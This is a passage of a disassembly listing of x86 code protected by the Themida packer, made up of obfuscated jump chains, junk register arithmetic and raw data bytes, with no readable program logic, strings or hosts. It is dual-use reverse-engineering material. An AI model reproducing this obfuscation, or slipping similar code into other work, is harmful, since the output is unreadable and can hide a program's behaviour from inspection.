edi, 25E93954h sub edi, eax add edi, 25E93954h pop eax jmp loc_51F857 ; --------------------------------------------------------------------------- dw 159h dd 0F0015FF8h, 9AD0E955h, 0E95C0000h, 0E050h, 0ECBAE954h dd 0D968FFFFh, 89000003h, 0E389241Ch, 4EC8157h, 89000000h dd 0DBA2414h, 0E90B6D2Eh, 32C2h ; --------------------------------------------------------------------------- loc_50ECB4: ; CODE XREF: Themida_:00517E9Bj dec ebp shr ebp, 3 or ebp, 685D3A40h jmp loc_51A2A3 ; --------------------------------------------------------------------------- db 87h dd 0FF5C2404h, 0E99C2404h, 0F04Dh ; --------------------------------------------------------------------------- loc_50ECD0: ; CODE XREF: Themida_:0050D60Cj jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 5Bh, 0FFh, 34h dd 0FC28E924h, 8166FFFFh, 660420F7h, 0E95FFB29h, 10E5h dd 685Dh, 3C290000h, 0BE565F24h, 5FE10180h, 0A6A6E9h, 5BDD8800h dd 5259E828h, 0EEC029B6h, 0E9C6FE08h, 0C9F2h ; --------------------------------------------------------------------------- loc_50ED14: ; CODE XREF: Themida_:00519DB5j push 4647h mov [esp], ebp mov ebp, esp add ebp, 4 push ecx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_50E966 ; --------------------------------------------------------------------------- aLSr db '<$r!',0 align 2 dw 0C8Bh dd 0F3B5E924h, 0E388FFFFh, 585BDD88h, 0E82859B0h, 0B4505159h dd 79E5E9C6h, 0F7810000h, 7D5622C0h, 3C8BFA89h, 4C48124h dd 81000000h, 2D5DBBF2h, 8EAC10Bh, 3E2C14Ah, 0EC81D2F7h dd 4, 0BF243C89h, 29F1306Dh, 0EF81DFF7h, 0E544497h, 72DEF781h dd 0EA810E27h, 29550E71h, 75D0EA81h, 0C28133C3h, 13DA0A5Fh dd 0EA81FA29h, 13DA0A5Fh, 75D0C281h, 0C28133C3h, 29550E71h dd 0BAB3E9h, 24148900h, 0EE99C50h, 66FFFFC8h, 5566D8F7h dd 0FFFFBD66h, 66E80166h, 0CAE0E95Dh, 1660000h, 7F6853C8h dd 0E9000007h, 5CF3h ; --------------------------------------------------------------------------- loc_50EDF8: ; CODE XREF: Themida_:0052043Cj sub ebx, 9C1A0CA5h add edx, ebx mov ebx, [esp] add esp, 4 add edx, eax push esi mov esi, 22A22B8Ch or esi, 26703181h xor esi, 2B442B05h jmp loc_51F25D ; --------------------------------------------------------------------------- loc_50EE22: ; CODE XREF: Themida_:00518D32j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 push 7119h mov [esp], edx push ebx push 62806CA0h jmp loc_513563 ; --------------------------------------------------------------------------- loc_50EE48: ; CODE XREF: Themida_:0050E8F5j push edx mov edx, 1B9B0F9Eh shl edx, 2 or edx, 766C194Fh and edx, 7A6663D5h sub edx, 2379FA82h jmp loc_51E9DB ; --------------------------------------------------------------------------- loc_50EE68: ; CODE XREF: Themida_:00512FA4j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_514B73 ; --------------------------------------------------------------------------- db 0BDh, 0D2h, 3Dh dd 4A050A6Ch, 2906BF5Dh, 16D9E9E8h, 0CBFE0000h, 3023F380h dd 60F8E9DAh, 0F7810000h, 22D3BB1Fh, 895FFB01h, 0D7EAE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EEAA: ; CODE XREF: Themida_:00517C15j push ebp mov ebp, 4 add edx, ebp pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_51DD76 ; --------------------------------------------------------------------------- db 66h dd 0B2241489h, 0B4EA80E0h, 80E2EA80h, 0F2804ECAh, 3EA80C6h dd 5A66D028h, 427B753h, 2CF8007Eh, 241C8B7Eh, 6604C483h dd 6602FB68h, 0E9241489h, 0F815h, 4246C81h, 43B26FA7h dd 7FE95A59h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50EF07: ; CODE XREF: Themida_:005182F8j add ecx, 4 jmp loc_51D8F8 ; --------------------------------------------------------------------------- aI8klsK db '8kLk',0 dd 4C38100h, 81000000h, 4EBh, 241C8700h, 2434895Ch, 8ABD55h dd 0E5814255h, 140C151Eh, 0FFED64E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EF3D: ; CODE XREF: Themida_:0051EE89j add ebp, ecx pop ecx jmp loc_51E772 ; --------------------------------------------------------------------------- loc_50EF45: ; CODE XREF: Themida_:0051EC3Bj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5201C3 ; --------------------------------------------------------------------------- loc_50EF6D: ; CODE XREF: Themida_:0051F16Cj push dword ptr [esp] jmp loc_51F707 ; --------------------------------------------------------------------------- loc_50EF75: ; CODE XREF: Themida_:005172B5j sub ebp, 2107944h pop edi shr ebp, 1 or ebp, 7BF3266Bh push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_50DB7B ; --------------------------------------------------------------------------- dw 72BFh dd 0E907BA00h, 0FFFFF80Eh, 6EDC15Fh, 6E14E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EFAA: ; CODE XREF: Themida_:005142C3j shr bl, 1 jmp loc_51120C ; --------------------------------------------------------------------------- loc_50EFB1: ; CODE XREF: Themida_:00512E6Dj pop edx add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx pop dword ptr [edi+24h] pop ebx loc_50EFCB: ; CODE XREF: Themida_:0051EEAAj sub esp, 4 mov [esp], ebx push 75E6h jmp loc_51E372 ; --------------------------------------------------------------------------- dw 34FFh dd 1D7E924h, 0EC810001h, 4, 0B1240C89h, 0E95266E7h, 6C2Ch ; --------------------------------------------------------------------------- loc_50EFF8: ; CODE XREF: Themida_:00517AFDj jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 5324048Bh, 1B8FE9h, 5EF02900h, 2F05C181h, 0C1010949h dd 2F05E981h, 48B0949h, 4C48124h, 68000000h, 64DFh, 529BE9h db 0 ; --------------------------------------------------------------------------- loc_50F02D: ; CODE XREF: Themida_:00517FA4j push eax mov eax, 344F2B3Ch add eax, 5E3869D8h not eax jmp loc_518D22 ; --------------------------------------------------------------------------- loc_50F03F: ; CODE XREF: Themida_:00515F7Aj inc ebp xor ebp, 77A1A4Ah add ecx, ebp jmp loc_513DBD ; --------------------------------------------------------------------------- loc_50F04D: ; CODE XREF: Themida_:0051AEE8j add edx, ebx pop ebx shl edx, 3 add edx, 16ED9EC8h and eax, edx push dword ptr [esp] pop edx push esi jmp loc_50FAA5 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0B6E95904h, 890000E7h, 5A682404h, 89000062h, 0E6892434h dd 4C681h, 0C1680000h, 8900000Eh, 4B9240Ch, 29000000h dd 2434FFCEh, 4C48159h, 0E9000000h, 0A13Fh, 4A30F66h, 3AE99C24h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F0AB: ; CODE XREF: Themida_:005151C3j dec eax sub eax, 0DAADEB5Ch add ebp, eax pop eax sub ebp, 4ACC0D5Fh sub ebp, 48B05C84h xor ebp, 0E4FC23A9h mov ecx, ebp jmp loc_51C2F6 ; --------------------------------------------------------------------------- aPiISS db 'Pȉ',0 dw 5900h dd 0AEC5E9h, 0F6815C00h, 65194757h, 348BF789h, 0E2895224h dd 0BC22E9h, 0D3E95600h, 87000117h, 895C241Ch, 3CBB241Ch dd 13FD758h, 241C8BD8h, 4C481h, 0BD550000h, 303C138Eh dd 295DE801h, 138E2DE8h, 3C2D303Ch, 5D3FD758h, 0CF90E9h dd 6C815900h, 6D7D0424h, 54012E22h, 0D8E90424h, 10000CEh dd 0F1C281EAh, 5D729C51h, 5C241487h, 0E92424D3h, 0FFFFC495h dd 2CA4685Dh, 0C890000h, 56BE5624h, 8161C21Ah, 125559E6h dd 1AB8502Fh, 0F75F770Fh, 0F322DD8h, 0E8830D21h, 9D6835FFh dd 0C621AA9Bh, 20EE8158h, 8129C828h, 0ED5EAEF6h, 3EBD5575h dd 817F9C7Ch, 0ABF1F8EDh, 5DEE2970h, 0E95EF189h, 0E46Ch dd 7C00BD55h, 0EB29164Dh, 0FF535A5Dh, 5B042474h, 0E924048Fh dd 0EF36h, 348BF701h, 4C48124h, 87000000h, 248B243Ch, 0C8B60F24h dd 1D7DE9h, 0CFF6600h, 0AE99C24h, 0FFFFFFC4h, 34FF2434h dd 2434FF24h, 83240C8Bh, 0B7E904C4h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F1EF: ; CODE XREF: Themida_:005207BDj pop eax sub esp, 4 mov [esp], edi mov edi, esp push ebx mov ebx, 7C164321h push ecx jmp loc_512939 ; --------------------------------------------------------------------------- dd 42474FFh, 1C63E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F20E: ; CODE XREF: Themida_:00520F01j pop edi push edx mov edx, 404E6BC6h or edx, 4A5A49B5h jmp loc_512E15 ; --------------------------------------------------------------------------- loc_50F220: ; CODE XREF: Themida_:0050DF68j push eax mov eax, 4AC92035h dec eax shl eax, 5 xor eax, 7BA86876h mov ebx, eax pop eax jmp loc_5103B7 ; --------------------------------------------------------------------------- db 5Bh dd 6203A5F3h, 336D6838h, 2C890000h, 4EC8324h, 68241C89h dd 26DE0C27h, 81FB875Bh, 0FFFFFFEFh, 320668FFh, 0C0E90000h dd 81000053h, 4C7h, 3975E900h, 0C4830000h, 0CA6EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F276: ; CODE XREF: Themida_:00510164j mov esi, 0CA076Dh shr esi, 2 or esi, 33C47D24h add esi, 0F3745596h jmp loc_51BF19 ; --------------------------------------------------------------------------- loc_50F28F: ; CODE XREF: Themida_:0051BB91j pop ebp jmp loc_51118B ; --------------------------------------------------------------------------- loc_50F295: ; CODE XREF: Themida_:0051EA8Dj movsx ecx, al push 1F59h jmp loc_5137BF ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0CF70E9h db 0 ; --------------------------------------------------------------------------- loc_50F2AD: ; CODE XREF: Themida_:0051B59Dj push ecx mov ecx, esp jmp loc_510777 ; --------------------------------------------------------------------------- loc_50F2B5: ; CODE XREF: Themida_:0050DF17j add edi, 4 jmp loc_51DBF7 ; --------------------------------------------------------------------------- dd 8704E983h, 895C240Ch, 4832424h, 0E95A0424h, 0BB82h ; --------------------------------------------------------------------------- loc_50F2D4: ; CODE XREF: Themida_:00510C77j push dword ptr [esp] pop ecx sub esp, 4 jmp loc_51A6A5 ; --------------------------------------------------------------------------- loc_50F2E3: ; CODE XREF: Themida_:00511107j add esi, ebx pop ebx add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_5126E6 ; --------------------------------------------------------------------------- loc_50F2F7: ; CODE XREF: Themida_:005101C4j mov edi, [esp] add esp, 4 push 62ACh mov [esp], ebx jmp loc_520854 ; --------------------------------------------------------------------------- dw 0F581h dd 0B7E5E677h, 0E95DE929h, 0F19Fh, 0AD09CCBEh, 57BDE955h dd 34FF0000h, 24048B24h, 0F08DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F32E: ; CODE XREF: Themida_:005141C9j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_518515 ; --------------------------------------------------------------------------- dd 68240C89h, 1D1C6853h, 65D4E9h, 0C1805A00h, 8FEAE906h dd 0B9510000h, 64912C01h, 0E902E9C1h, 5283h, 8CB55152h dd 88C8ED80h, 0E1CE9EEh, 0F6810001h, 34591AACh, 4ADEE681h dd 0BE9642Bh, 870000C1h, 0D25C240Ch, 0E99C2424h, 0FFFFC255h dd 42474FFh, 24048F5Eh, 761FE9h, 241C8900h, 0B8CBE9h, 0F4C28100h dd 0E920705Ah, 0A854h, 8158C331h, 8DEE7DEBh, 0AE95192h dd 5300010Dh, 0EE1B10BBh, 5BDF8943h, 91BFE9h, 5AD50900h dd 0FFE8FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F3D5: ; CODE XREF: Themida_:005202E8j push edi mov edi, 41AA3BDFh xor ebp, edi pop edi jmp loc_51724D ; --------------------------------------------------------------------------- loc_50F3E3: ; CODE XREF: Themida_:005170BDj sub ebp, esi pop esi add edi, ebp pop ebp jmp loc_5173E5 ; --------------------------------------------------------------------------- dw 0C583h dd 76ACE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F3F6: ; CODE XREF: Themida_:0050DD50j sub ebp, ebx xchg ebp, ebx pop ebp jmp loc_50B8D8 ; --------------------------------------------------------------------------- loc_50F400: ; CODE XREF: Themida_:0051D10Fj add eax, edx pop edx xchg eax, [esp] pop esp jmp loc_516DD5 ; --------------------------------------------------------------------------- dd 24048B66h, 81E28952h, 4C2h, 0BF575500h, 5F7240C9h, 455FFD89h dd 3F37F581h, 0EDC14710h, 0E5ED8105h, 5653AD7Ah, 0EA66EABEh dd 8BF50152h, 0ABE92434h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F443: ; CODE XREF: Themida_:0050CFA3j mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_520173 ; --------------------------------------------------------------------------- loc_50F455: ; CODE XREF: Themida_:0051E375j push 60D94254h jmp loc_519923 ; --------------------------------------------------------------------------- loc_50F45F: ; CODE XREF: Themida_:0050BD4Ej shl edx, 7 xor edx, 91F2EC4Bh and edi, edx jmp loc_512804 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 0E7895724h, 4EC81h, 34890000h, 4BE24h, 56E90000h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F48B: ; CODE XREF: Themida_:0051DC92j mov esi, esp push edx mov edx, 4 add esi, edx pop edx jmp loc_50DC30 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 24148B5Ch, 0E9545256h, 30B9h ; --------------------------------------------------------------------------- loc_50F4B0: ; CODE XREF: Themida_:0051BB1Dj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5172BA ; --------------------------------------------------------------------------- db 80h dd 0DAE91EEFh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F4C7: ; CODE XREF: Themida_:0051C40Cj add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push edx sub esp, 4 jmp loc_50CE68 ; --------------------------------------------------------------------------- db 0BBh dd 590D712Fh, 0E95BDD09h, 0A911h, 0CF54E958h, 0DCBFFFFFh dd 5318F331h, 423952BBh, 0BDC5E949h, 0E9540000h, 5543h dd 80E98158h, 29774406h, 80C181F1h, 5E774406h, 34FFCE01h dd 54505924h, 40558h, 0E8830000h, 24048704h, 8924248Bh dd 0AFE9242Ch, 88FFFFC6h, 88D9F6F1h, 0F642E9CEh, 5055FFFFh dd 952BD55h, 43B8149Fh, 2D443D46h, 31011B58h, 8DE9E801h dd 81000080h, 0D95594C7h, 5FF80198h, 0B968C829h, 89000029h dd 0E5BD242Ch, 0E906D577h, 9A6Bh ; --------------------------------------------------------------------------- loc_50F580: ; CODE XREF: Themida_:00514A25j mov edx, 4 add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov edx, [esp] push 2FE2h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_515D6F ; --------------------------------------------------------------------------- loc_50F5AF: ; CODE XREF: Themida_:00511CD5j add ecx, 0EAE8D584h push ebx jmp loc_51F183 ; --------------------------------------------------------------------------- db 81h dd 39173DC3h, 0E9F32964h, 0DE9Ah, 7BE95D5Bh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F5CF: ; CODE XREF: Themida_:00517E4Ej mov ebx, 0D47C8F2h add esi, ebx jmp loc_514E22 ; --------------------------------------------------------------------------- a0ZaJqiSseo db '0ZÆQSo',0 align 2 loc_50F5EA: ; CODE XREF: Themida_:00513096j pop edx sub ebp, eax add ebp, 5C2747CEh jmp loc_5116E0 ; --------------------------------------------------------------------------- aBiR5S db '5!',8,0 dw 0B100h dd 8B5E963h, 34FF0001h, 2434FF24h, 0FD2CE9h, 4EC8100h dd 89000000h, 1BD242Ch, 0E90EBA1Bh, 0FFFFEA4Ah, 1240481h dd 5841032Eh, 32E012Dh, 97055941h, 68DF8ECDh, 6EE1h, 8B240489h dd 0C481241Ch, 4, 0ED34E9h, 5986BD00h, 0E821118Bh, 2C74355Dh dd 26E933AEh, 810000B6h, 4C4h, 0CB685000h, 89000078h, 4832424h dd 48B0424h, 4C48324h, 0D0B95155h, 0BD60D35Bh, 60D35BD4h dd 84E9CD31h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F68F: ; CODE XREF: Themida_:00520205j xchg ecx, [esp] pop esp push 0E80h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 2C2Fh jmp loc_51057A ; --------------------------------------------------------------------------- dw 4BBAh dd 9491543h, 0E992E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F6BA: ; CODE XREF: Themida_:00519EBEj shr eax, 3 inc eax jmp loc_5193E3 ; --------------------------------------------------------------------------- db 0B8h dd 43BA4E1Dh, 13F5E9h, 2DD82900h, 19AF60D9h, 0D51C1C05h dd 7EA52D65h, 2E686546h, 89000006h, 6850241Ch, 24E55CA8h dd 4E3B0D58h, 6D0D7A33h, 25636349h, 76211DF5h, 74BE035h dd 44D5E912h, 248B0000h, 0BED7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F70E: ; CODE XREF: Themida_:0050D238j or edi, 7BD45A11h xor edi, 34D700EBh add eax, edi jmp loc_51BD18 ; --------------------------------------------------------------------------- db 0BAh, 4Ah, 68h dd 0D2F712C0h, 6963CA81h, 44E93CF7h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F733: ; CODE XREF: Themida_:00511D9Cj add bh, 0FEh xor ah, bh mov ebx, [esp] add esp, 4 push eax mov al, 3 add dl, al pop eax push bx mov bl, 0E2h add dl, bl pop bx add dl, ah sub dl, 0E2h jmp loc_51C5C8 ; --------------------------------------------------------------------------- loc_50F759: ; CODE XREF: Themida_:00516A84j mov [esp], edx push edi push 706E6D4Dh jmp loc_51616B ; --------------------------------------------------------------------------- loc_50F767: ; CODE XREF: Themida_:0051A0FBj xchg ebx, [esp] mov esp, [esp] pop eax push 2485h jmp loc_51A28F ; --------------------------------------------------------------------------- dd 33241C31h, 248B241Ch, 243C8924h, 74FEE954h, 0E9580000h dd 0B0F6h ; --------------------------------------------------------------------------- loc_50F790: ; CODE XREF: Themida_:0051822Fj sub ecx, eax pop eax add ecx, ebx push esi jmp loc_51FC36 ; --------------------------------------------------------------------------- db 56h dd 0F2895E55h, 504A5D5Eh, 941ABCB8h, 6CE6E90Eh, 0F7050000h dd 55714909h, 6C3DD2BDh, 5DE8010Ah, 6DC068h, 241C8900h dd 818C8668h, 2434FF70h, 83241C8Bh, 0C48304C4h, 0BD555604h dd 352D3429h, 0FFDF2BE9h, 45EA81FFh, 11DA30Fh, 45C281EAh dd 0E91DA30Fh, 166Eh ; --------------------------------------------------------------------------- loc_50F7F4: ; CODE XREF: Themida_:00518A07j xchg edi, ebx not edi push ebx push 0EF6h mov [esp], edi pop ebx jmp loc_514B51 ; --------------------------------------------------------------------------- db 59h dd 8758C501h, 248B242Ch, 9B77E924h, 0EB830000h, 241C8704h dd 0ABEAE9h, 28E3B300h, 2C5B66D9h, 52C82862h, 38E9A1B6h dd 810000EAh, 62A16C6h, 81FE017Dh, 62A16EEh, 0F7965F7Dh dd 0A06CE9D0h, 0BA520000h, 14DA4E70h, 0E8B7E9h db 0 ; --------------------------------------------------------------------------- loc_50F855: ; CODE XREF: Themida_:00511122j push 800h push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 and eax, ebx mov ebx, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 push edx jmp loc_51B303 ; --------------------------------------------------------------------------- loc_50F8A1: ; CODE XREF: Themida_:0051535Bj add edi, 19A11B5Ch pop esi pop eax mov esi, edi mov edi, [esp] jmp loc_513043 ; --------------------------------------------------------------------------- db 66h dd 5124048Bh, 0AA70E9h db 0 ; --------------------------------------------------------------------------- loc_50F8BD: ; CODE XREF: Themida_:0050D432j add bl, 0FFh add bl, 0B4h shl bl, 3 neg bl sub bl, 46h jmp loc_51AC7A ; --------------------------------------------------------------------------- loc_50F8D0: ; CODE XREF: Themida_:0050E720j add esi, 4F03430h add esi, ebp push ebx mov ebx, 4F03430h sub esi, 6AE50B05h push ebx mov ebx, 2D166925h jmp loc_518950 ; --------------------------------------------------------------------------- loc_50F8EF: ; CODE XREF: Themida_:0051322Bj mov ebp, esp push edx mov edx, 8A037FCh shr edx, 2 xor edx, 67CA4764h inc edx inc edx add edx, 23FA27A4h sub edx, 89DC723Dh add ebp, edx pop edx push esi mov esi, 4 add ebp, esi jmp loc_50FDE3 ; --------------------------------------------------------------------------- dw 0FA28h dd 5AD0005Bh, 0FFD77EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F929: ; CODE XREF: Themida_:005114C3j sub ebx, 0F8C03E5Fh sub ebx, 0FFFFFFFFh jmp loc_50FEDF ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_51D78C ; --------------------------------------------------------------------------- loc_50F945: ; CODE XREF: Themida_:0051CB6Bj add esp, 4 sub esp, 4 jmp loc_50D01B ; --------------------------------------------------------------------------- loc_50F953: ; CODE XREF: Themida_:0051A4B3j sub edx, 61DE0D39h xor edx, 2D292588h inc edx shr edx, 4 add edx, 30161486h sub edi, edx pop edx sub edi, eax add edi, 38A555FBh pop eax pop eax push eax mov eax, 2 add edi, 45474C04h push ebp mov ebp, 92363E9h sub edi, ebp pop ebp sub edi, eax add edi, 92363E9h push edx mov edx, 45474C04h sub edi, edx mov edx, [esp] jmp loc_5204A3 ; --------------------------------------------------------------------------- db 83h dd 0BE5604C4h, 236A9D5Fh, 315EF731h, 243C8BF8h, 104C483h dd 8F57E9C1h, 3C8B0000h, 0E3895324h, 34C1E9h, 58C28900h dd 5D5568h, 0B2CBE900h, 0B8500000h, 6CD76B4Dh, 5058C709h dd 0FFC6E0E9h, 1B29BAFFh, 23E97A85h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F9EF: ; CODE XREF: Themida_:0052012Dj mov esp, [esp] jmp loc_5168AB ; --------------------------------------------------------------------------- loc_50F9F7: ; CODE XREF: Themida_:0051C0E0j xor edi, 407F39E0h mov ecx, edi pop edi push ecx inc dword ptr [esp] pop ecx jmp loc_51F7E1 ; --------------------------------------------------------------------------- dw 895Ch dd 0AAE9240Ch, 80000028h, 0FDE92BEBh, 57000094h, 37242C81h dd 5E7A9769h, 6937C681h, 0E95F7A97h, 30D1h, 1024E95Ah dd 48B0000h, 4EC8324h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push ecx jmp loc_519C70 ; --------------------------------------------------------------------------- dw 5C01h dd 44810424h, 23CF0424h, 1C8B472Ah, 0DC08E924h, 0C481FFFFh dd 4, 0E905EDC1h, 97FBh, 287C2C5Bh, 5A7C04F0h, 8904EC83h dd 0EC81241Ch, 4, 83242489h, 5B042404h, 11461E9h db 0 ; --------------------------------------------------------------------------- loc_50FAA5: ; CODE XREF: Themida_:0050F060j push esp pop esi jmp loc_510DFF ; --------------------------------------------------------------------------- loc_50FAAC: ; CODE XREF: Themida_:00518053j pop edi add edi, 37BF258Ch sub edi, 3ECA09A8h sub edi, 0B6F1A466h sub eax, edi pop edi xchg eax, [esp] pop esp mov [esp], edi mov edi, 5D154E61h neg edi jmp loc_51594E ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd offset dword_4B305C+0Ch dd 24148900h, 25D568h, 24048900h, 0FB15E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FAEE: ; CODE XREF: Themida_:0051F21Cj add bl, 0F2h sub bl, 2Ch jmp loc_51D2BA ; --------------------------------------------------------------------------- loc_50FAF9: ; CODE XREF: Themida_:0050DB5Aj pop ebx push 2520h mov [esp], ecx jmp loc_50E430 ; --------------------------------------------------------------------------- db 89h dd 2434FFFDh, 83243C8Bh, 895004C4h, 0D31E9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FB1A: ; CODE XREF: Themida_:00520FC8j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_514CAA ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C4832414h, 24048F04h, 6624248Bh, 9C240409h dd 0FFBAA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FB45: ; CODE XREF: Themida_:0051F3E0j xor ebp, [esp] jmp loc_5174DC ; --------------------------------------------------------------------------- db 81h, 0F6h, 6Ah dd 31D1613Dh, 0D3315EF2h, 836EE9h, 80EB8600h, 0E3D0EAC3h dd 8335F380h, 0C8904ECh, 88DD8824h, 95E959ECh db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FB77: ; CODE XREF: Themida_:0050E592j mov [esp], ecx mov ecx, 4 jmp loc_51239C ; --------------------------------------------------------------------------- dd 0E9240C89h, 0F433h, 4C4815Bh, 53000000h, 0C381E389h dd 4, 4EB81h, 1C870000h, 30E95C24h, 890000E8h, 5356240Ch dd 6C4481BBh, 9B4DE916h, 0C4810000h, 4, 1FF2F181h, 0EDE9527Ah dd 0BD0000BDh, 321D6189h, 55DE829h, 3F7A0313h, 110C9E9h dd 60C38100h, 97B4F21h, 86055BD8h, 51C7C57h, 92579E0Dh dd 4EC81h, 2C890000h, 9F8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FBFE: ; CODE XREF: Themida_:00510FD7j mov [esp], ebx jmp loc_5171F2 ; --------------------------------------------------------------------------- dw 3489h dd 0AE95424h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FC0F: ; CODE XREF: Themida_:0051896Bj mov esi, 49EC68C2h add ecx, 26093F7Eh add ecx, esi sub ecx, 26093F7Eh pop esi add eax, 135852E4h add eax, ecx push esi mov esi, 45F06113h push edx push ebx mov ebx, 56A833F7h push ebx pop edx pop ebx xor esi, edx mov edx, [esp] jmp loc_50E988 ; --------------------------------------------------------------------------- dd 5BFDBB53h, 0E3C13A07h, 8EBC105h, 115AE9h db 0 ; --------------------------------------------------------------------------- loc_50FC55: ; CODE XREF: Themida_:0051E53Cj push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5147D4 ; --------------------------------------------------------------------------- dd 0BF57515Ah, 4, 0E95FF989h, 88D2h ; --------------------------------------------------------------------------- loc_50FC78: ; CODE XREF: Themida_:00515B25j mov ecx, 4669215Bh jmp loc_50C519 ; --------------------------------------------------------------------------- loc_50FC82: ; CODE XREF: Themida_:005146C6j add ebp, edx push edx mov edx, 4BA7043Dh push edi mov edi, 409F4457h push ebp mov ebp, 3CF0413h add edx, 23D62DC8h add edx, ebp sub edx, 23D62DC8h pop ebp sub edx, edi push ebp jmp loc_51B88B ; --------------------------------------------------------------------------- db 55h, 52h, 57h dd 0A853A8BFh, 0EBE5E962h, 6858FFFFh, 1139h, 83243489h dd 248904ECh, 4BF5724h, 0E9000000h, 59AFh, 585278BEh, 0F8BA5233h dd 96AED15h, 4350E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FCE6: ; CODE XREF: Themida_:0050D563j mov ebx, esp push 625Dh mov [esp], ecx push ebp mov ebp, 20AA5B92h push ebx mov ebx, 0DF55A472h mov ecx, ebx pop ebx add ecx, ebp pop ebp push esi mov esi, 168D7952h xor esi, 4331421h jmp loc_50D74D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24348700h, 6624248Bh, 0E9240C8Bh, 0DBFh, 80CDC980h dd 6DE924C9h, 81000081h, 7004246Ch, 8B72884Ah, 8953243Ch dd 84BA52E3h, 8107FA33h, 682AF4F2h, 42DAF747h, 0E68DEA81h dd 0D301BF6Dh, 4C3835Ah, 5C241C87h, 0E9241C8Bh, 1018h ; --------------------------------------------------------------------------- loc_50FD68: ; CODE XREF: Themida_:0051F934j xor edx, 8B2B9A5Eh jmp loc_51C858 ; --------------------------------------------------------------------------- db 81h dd 0E57BA4E9h, 81D1016Ah, 0E57BA4C1h, 77E4E96Ah, 0B9510000h dd 16265226h, 0ADDEC181h, 0C281E9D9h, 1C746036h, 496BEA81h dd 0EA816E25h, 65651695h, 0C281CA01h, 65651695h, 0E3D2E9h db 0 ; --------------------------------------------------------------------------- loc_50FDB1: ; CODE XREF: Themida_:0050E431j mov ebx, 4 mov ecx, ebx pop ebx add ebx, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_50D1D6 ; --------------------------------------------------------------------------- db 66h, 5, 55h dd 0D801665Bh, 5B552D66h, 5E95B66h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FDE3: ; CODE XREF: Themida_:0050F919j pop esi xchg ebp, [esp] jmp loc_50D2CE ; --------------------------------------------------------------------------- loc_50FDEC: ; CODE XREF: Themida_:0051BC3Cj not esi and esi, 389465D9h xor esi, 7C9F6A1Eh add esi, 31602D70h jmp loc_50D403 ; --------------------------------------------------------------------------- db 0BFh, 7, 61h dd 